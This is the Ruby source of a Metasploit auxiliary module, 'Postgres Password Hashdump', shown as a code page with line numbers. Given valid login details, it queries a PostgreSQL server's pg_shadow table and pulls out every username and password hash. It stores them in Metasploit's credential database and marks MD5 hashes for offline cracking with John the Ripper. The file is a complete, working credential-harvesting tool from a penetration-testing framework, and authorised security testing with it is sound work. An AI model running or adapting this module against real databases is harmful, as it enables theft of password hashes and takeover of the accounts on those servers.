/
postgres_hashdump.rb
154 lines (130 loc) · 4.47 KB
/
postgres_hashdump.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::OptionalSession::PostgreSQL
def initialize
super(
'Name' => 'Postgres Password Hashdump',
'Description' => %Q{
This module extracts the usernames and encrypted password
hashes from a Postgres server and stores them for later cracking.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
)
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
def username
session ? session.client.params['username'] : datastore['USERNAME']
end
def database
session ? session.client.params['database'] : datastore['DATABASE']
end
def password
# The session or its client doesn't store the password
session ? nil : datastore['PASSWORD']
end
def run_host(ip)
self.postgres_conn = session.client if session
# Query the Postgres Shadow table for username and password hashes and report them
res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)
service_data = {
address: postgres_conn.peerhost,
port: postgres_conn.peerport,
service_name: 'postgres',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: password,
private_type: :password,
username: username,
realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
realm_value: database
}
credential_data.merge!(service_data)
# Error handling routine here, borrowed heavily from todb
case res.keys[0]
when :conn_error
print_error("A Connection Error Occurred")
return
when :sql_error
# We know the credentials worked but something else went wrong
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
case res[:sql_error]
when /^C42501/
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - Insufficient permissions."
return
else
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{res[:sql_error]}"
return
end
when :complete
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
# We know the credentials worked and have admin access because we got the hashes
login_data[:access_level] = 'Admin'
create_credential_login(login_data)
print_good("Query appears to have run successfully")
end
tbl = Rex::Text::Table.new(
'Header' => 'Postgres Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)
service_data = {
address: postgres_conn.peerhost,
port: postgres_conn.peerport,
service_name: 'postgres',
protocol: 'tcp',
workspace_id: myworkspace_id
}
res[:complete].rows.each do |row|
next if row[0].nil? or row[1].nil?
next if row[0].empty? or row[1].empty?
password = row[1]
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_data: password,
username: row[0]
}
if password.start_with?('md5')
credential_data[:private_type] = :postgres_md5
credential_data[:jtr_format] = 'raw-md5,postgres'
else
credential_data[:private_type] = :nonreplayable_hash
end
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
tbl << [row[0], password]
end
print_good("#{tbl.to_s}")
postgres_logout if self.postgres_conn && session.blank?
end
end